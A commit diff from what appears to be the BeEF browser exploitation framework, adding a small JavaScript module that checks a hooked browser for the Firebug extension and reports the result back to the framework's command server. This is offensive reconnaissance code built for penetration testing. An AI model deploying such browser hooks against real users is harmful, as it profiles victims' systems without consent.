Added Detect Firebug module. Fixes issue 497

Moved Detect Software module from Browser to Host category

modules/browser/detect_firebug/command.js

@@ -0,0 +1,21 @@
+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+	var result = "Not Installed";
+	if (window.console && (window.console.firebug || window.console.exception)) result = "Installed";
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "firebug="+result);
+});
+